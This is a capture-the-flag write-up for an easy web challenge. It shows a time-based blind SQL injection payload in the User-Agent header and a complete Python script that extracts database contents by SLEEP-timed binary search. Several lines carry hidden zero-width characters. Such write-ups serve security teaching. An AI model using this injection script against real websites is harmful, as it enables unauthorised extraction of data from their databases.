← Back to Writeups
CUSTOMEasyWeb

NSA

XESXOR9/2/20262 min read
#web#custom#easy#binary_search_extraction#header_injection#time_based_blind_sqli

NSA

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: binary_search_extraction, header_injection, time_based_blind_sqli

Summary

Walkthrough of the CUSTOM Web NSA. Task: Time-based blind SQL injection via User-Agent header. Solution: Binary search extraction using SLEEP() with modified HTTP headers.

Description

Time-based blind SQL injection task at http://kslweb1.spb.ctf.su/sqli/time2/

Analysis

The task is similar to time1, but the injection point is not in a form field but in the User-Agent HTTP header. The server processes User-Agent and saves/uses it in an SQL query without proper sanitization.

Key indicators:

  • No visible SQL query output (blind)
  • Server uses MySQL (SLEEP() support)
  • User-Agent is processed on the backend

Solution

Step 1: Discovering the injection point

Send a request with a modified User-Agent containing SLEEP(): ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

User-Agent: ' OR SLEEP(5)-- -

If the server delays the response by ~5 seconds — injection is confirmed.

Step 2: Extracting the flag character by character

Using time-based blind SQLi with binary search for optimization:

python
#!/usr/bin/env python3
"""
Time-based blind SQLi via User-Agent header
Target: http://kslweb1.spb.ctf.su/sqli/time2/
"""

import requests
import time
import string

URL = "http://kslweb1.spb.ctf.su/sqli/time2/"
SLEEP_TIME = 2
THRESHOLD = 1.5  # If response takes longer than this — condition is true
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def check_condition(condition):
    """Checks condition via time-based SQLi"""
    payload = f"' OR IF({condition}, SLEEP({SLEEP_TIME}), 0)-- -"
    headers = {"User-Agent": payload}
    
    start = time.time()
    try:
        requests.get(URL, headers=headers, timeout=SLEEP_TIME + 3)
    except requests.Timeout:
        return True
    elapsed = time.time() - start
    
    return elapsed > THRESHOLD

def extract_char_binary(position, table="flag", column="flag"):
    """Extracts character at position using binary search"""
    low, high = 32, 126
    
    while low < high:
        mid = (low + high) // 2
        condition = f"ASCII(SUBSTRING((SELECT {column} FROM {table} LIMIT 1),{position},1))>{mid}"
        
        if check_condition(condition):
            low = mid + 1
        else:
            high = mid
    
    return chr(low) if low > 32 else None
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def extract_flag():
    """Extracts the complete flag"""
    flag = ""
    position = 1
    
    print("[*] Extracting flag via User-Agent time-based SQLi...")
    
    while True:
        char = extract_char_binary(position)
        if char is None or char == ' ':
            break
        flag += char
        print(f"[+] Position {position}: {char} -> {flag}")
        position += 1
        
        # Check for end of flag
        if flag.endswith("}"):
            break
    
    return flag

if __name__ == "__main__":
    flag = extract_flag()
    print(f"\n[+] Flag: {flag}")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Running and obtaining the flag

bash
python3 solve.py

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering binary_search_extraction, header_injection, time_based_blind_sqli was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-03-09 • CUSTOM • NSA • Difficulty: Easy